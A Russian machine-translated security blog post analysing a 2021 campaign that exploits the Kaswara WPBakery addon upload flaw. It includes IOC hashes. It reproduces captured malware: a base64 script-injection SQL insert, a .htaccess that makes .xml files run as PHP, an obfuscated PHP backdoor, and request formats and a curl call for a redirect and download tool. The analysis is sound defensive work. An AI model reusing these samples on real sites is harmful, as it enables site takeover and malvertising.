Уязвимый плагин Kaswara Modern WPBakery Page Builder Addons эксплуатируется в дикой природе

Опубликовано: 2021-06-08

Еще 20 апреля 2021 года наши друзья из WPScan сообщили о серьезной уязвимости в надстройках Kaswara Modern VC, также известных как надстройки Kaswara Modern WPBakery Page Builder. Он больше не доступен на Codecanyon/Envato, а это означает, что если он у вас запущен, вы должны выбрать альтернативу.

Эта уязвимость позволяет неавторизованным пользователям загружать произвольные файлы в каталог значков плагина (./wp-content/uploads/kaswara/icons). Это первый индикатор компрометации (IOC), которым наши друзья из WPScan поделились с нами в своем отчете.

Возможность загружать произвольные файлы на веб-сайт дает злоумышленнику полный контроль над сайтом, что затрудняет определение конечной полезной нагрузки этой инфекции; таким образом, мы покажем вам все, что мы нашли до сих пор (мы немного увлеклись исследованием, поэтому не стесняйтесь переходить к разделу IOC, если вы не хотите читать).

Внедрение базы данных, поддельные приложения для Android и другие бэкдоры

Спасибо нашему другу Денису Синегубко из Sucuri за указание на последующую инъекцию базы данных, используемую в этой атаке.

Злоумышленники будут обновлять параметр «kaswara-customJS», чтобы добавить произвольный вредоносный фрагмент кода Javascript. Вот один пример, который мы нашли:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Эта строка в кодировке base64 переводится как:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

И, как обычно бывает с этим типом скрипта, он будет последовательно загружать ряд других фрагментов кода Javascript, а конечная полезная нагрузка будет либо вредоносной рекламой, либо набором эксплойтов. Это очень похоже на то, что Wordfence сообщил здесь.

В этом случае скрипт умирает на hxxp://double-clickd[.]com/ и не загружает плохой контент. Я обнаружил подозрительный Javascript, вызывающий этот сайт с начала 2020 года, и люди уже блокируют его с 2018 года.

Поддельные приложения, загруженные на сайт

40 приложений для Android, обнаруженных на изученных нами веб-сайтах, были поддельными версиями различных приложений, таких как AliPay, PayPal, Correos, DHL и многих других, которые, согласно анализу VirusTotal, были обнаружены самыми популярными антивирусными поставщиками.

Результаты VirusTotal по одному из APK-файлов, найденных на скомпрометированном сайте

Я не проверял намерения приложения, но краткий обзор запрашиваемых разрешений может дать нам представление о том, что оно может сделать:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.ИНТЕРНЕТ
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Однако эти файлы не загружаются немедленно с помощью эксплойта Kaswara. После того, как сайт будет скомпрометирован, злоумышленники сначала загрузят другие инструменты, чтобы полностью контролировать сайт.

Загруженные файлы

Некоторые бэкдоры и другое вредоносное ПО также были обнаружены на сайтах, скомпрометированных этой уязвимостью. В этом посте я поделюсь кратким анализом самых популярных и интересных из них. Однако сначала я хочу остановиться на самом сложном.

Перенаправление и поддельные приложения

Поддельные приложения, которые я обнаружил на нескольких взломанных сайтах, не были загружены с использованием уязвимости Kaswara. Они загружаются на сайт с помощью многофункционального хакерского инструмента, который позволяет злоумышленнику загрузить некоторый удаленный код (предоставив URL-адрес или строку) и перенаправить пользователя на вредоносный сайт.

Файл можно легко идентифицировать по наличию этой строки: base64_decode('MTIz');error_reporting(0); функция

Интересно, что он рандомизирует все остальное, кроме этого.

Вредоносное ПО находится в одной строке, что также является интересным IOC, если вы ищете этот тип аномалии кода.

вредоносное ПО c.php с полным кодированием

Чтобы было легче понять, я расшифровал большую часть кода, переименовал интересные функции и украсил код. Зловред включает в себя 6 различных функций, 5 из которых основаны на значениях, передаваемых в переменной $_GET['ts'] . Для этого документа давайте рассмотрим один из множества найденных мной экземпляров: c.php .

/c.php?ts=кт

Это ничего не делает и заставит сайт возвращать ошибку 500 (позже в коде).

/c.php?ts=1

Изменяет значение флага $q1a на true, чтобы выполнить проверку кода и вывести атакующему сообщение OK.

В этом случае удаленный сайт отвечает: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v="Код"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Записывает на сервер файл с кодом, предоставленным содержимым $_GET["v"] до тех пор, пока $_GET["p"] является контрольной суммой SHA1, равной 123 (помните тот первый IOC base64_decode('MTIz') ? это это контрольная сумма).

/c.php?ts=тт

Записывает 5 МБ «-» на сервер, вероятно, используется для проверки, будет ли функция загрузки работать на сервере.

/c.php?ts=dwm&h=ХЭШ1,ХЭШ2

Когда вредоносная программа получает этот запрос, она выполняет тест, чтобы убедиться, что загруженные файлы были успешно записаны на сервер. Их хэши MD5 должны быть известны и отправляются в переменную $_GET['h'] в виде значений, разделенных запятыми.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Загружает файл с ряда сторонних веб-сайтов и сохраняет его на сервере, называя его после последних 12 символов md5 загруженного файла.

Эта функция используется для загрузки поддельных приложений на сервер.

Вот пример запроса на загрузку вредоносных файлов /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Перенаправление доступа

Если была выбрана опция kt или не выбрана никакая опция, код переходит к перенаправлению, которое достигается путем запроса большого двоичного объекта JSON с необходимыми данными. Затем он перенаправляет посетителя, используя функцию заголовка.

Ответ выглядит следующим образом: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Функция для выполнения запроса cURL с необходимыми параметрами такова: Ничего особенного…

И это можно перевести в этот запрос cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

Конечный URL, насколько я мог проверить, является случайным, но имеет ту же характеристику, что и поддельная страница для популярного сервиса или приложения.

wp-content/uploads/kaswara/icons/16/javas.xml и wp-content/uploads/kaswara/icons/16/.htaccess

XML-файл обычно не помечается как потенциальная угроза, но в этом случае у нас есть специально созданный файл .htaccess, который меняет то, как его видит веб-сервер:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

Фактически, он говорит Apache понимать любые файлы java, home или меню с xml, php или pdf как файл PHP для соответствующей обработки и выполнения. Таким образом, любой из этих файлов, находящихся в той же структуре каталогов, что и этот .htaccess, будет подозрительным.

Файл javas.xml такой же, как и некоторые другие вредоносные файлы, загруженные на сайт. Я обнаружил, что разница в том, что у некоторых есть одна или две пустые строки в конце файла, что делает традиционное хеширование немного сложнее.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Вредоносный код запутывается с помощью строк в кодировке str_rot13 и base64. Он также использует шестнадцатеричные значения и математические операции, чтобы немного скрыть строки. Окончательная полезная нагрузка неизвестна, поскольку она создаст функцию на основе значений запроса POST. Однако полезная нагрузка кажется одинаковой каждый раз, поскольку она полагается на проверку md5 перед ее созданием (c42ea979ed982c02632430e9e98a66d6 — это хэш md5).

Вывод

Поскольку это активная кампания, на момент написания этого поста мы обнаруживаем все больше и больше различных примеров вредоносного ПО, попадающих на затронутые сайты. Некоторые из них являются просто вариациями того, что мы здесь имеем, в то время как другие достаточно интересны для более глубокого анализа. Ищите небольшие сообщения, которые скоро появятся, чтобы изучить некоторые из этих других примеров.

Это иллюстрирует важность обновления ваших расширений последними исправлениями безопасности; если разработчики не выпускают исправления своевременно или он удаляется из репозитория WordPress.org (или других торговых площадок), мы настоятельно рекомендуем вам найти ему более безопасную альтернативу.

Если вас беспокоят вредоносные программы и уязвимости вашего сайта, ознакомьтесь с функциями безопасности Jetpack. Jetpack Security обеспечивает простую в использовании комплексную защиту сайта WordPress, включая резервное копирование, сканирование на наличие вредоносных программ и защиту от спама.

Индикаторы компрометации

Здесь вы найдете полный список всех IOC, которые мы определили:

Хэш (SHA-1) Дорожка Описание угрозы
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Поддельное Android-приложение
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Поддельное Android-приложение
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Поддельное Android-приложение
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Поддельное Android-приложение
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Поддельное Android-приложение
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Поддельное Android-приложение
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Поддельное Android-приложение
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Поддельное Android-приложение
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Поддельное Android-приложение
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Поддельное Android-приложение
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Поддельное Android-приложение
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabb0afa Поддельное Android-приложение
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Поддельное Android-приложение
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Поддельное Android-приложение
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Поддельное Android-приложение
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Поддельное Android-приложение
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Поддельное Android-приложение
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Поддельное Android-приложение
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Поддельное Android-приложение
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Поддельное Android-приложение
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Поддельное Android-приложение
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Поддельное Android-приложение
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Поддельное Android-приложение
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Поддельное Android-приложение
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Поддельное Android-приложение
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Поддельное Android-приложение
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Поддельное Android-приложение
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Поддельное Android-приложение
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Поддельное Android-приложение
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Поддельное Android-приложение
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Поддельное Android-приложение
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Поддельное Android-приложение
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Поддельное Android-приложение
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Поддельное Android-приложение
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Поддельное Android-приложение
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Поддельное Android-приложение
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Поддельное Android-приложение
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Поддельное Android-приложение
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Поддельное Android-приложение
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Поддельное Android-приложение
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Сброшенное вредоносное ПО
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Сброшенное вредоносное ПО
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Загрузчик файлов PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Сброшенное вредоносное ПО
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Вредоносное ПО для удаленного выполнения кода
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Сброшенное вредоносное ПО
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-контент/siteindex.php Сброшенное вредоносное ПО
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Сброшенное вредоносное ПО
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Сброшенное вредоносное ПО
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Сброшенное вредоносное ПО
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Сброшенное вредоносное ПО
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-контент/темы/admindex.php Сброшенное вредоносное ПО
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Сброшенное вредоносное ПО
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./иконы/icons.php Вредоносное ПО для удаленного выполнения кода
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Сброшенное вредоносное ПО
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php или ./wp-content/uploads/xeh02b.php Сброшенное вредоносное ПО
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./иконки/pewegy.php Сброшенное вредоносное ПО
1926459cbe6f3fae524d5c1aa966a023b9def873 ./иконы/icons.php Вредоносное ПО для удаленного выполнения кода
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Сброшенное вредоносное ПО
wp-content/uploads/kaswara/icons/16/javas.xml Вредоносное ПО для удаленного выполнения кода
smurfetta.ru Вредоносный домен
http://papass.ru Вредоносный домен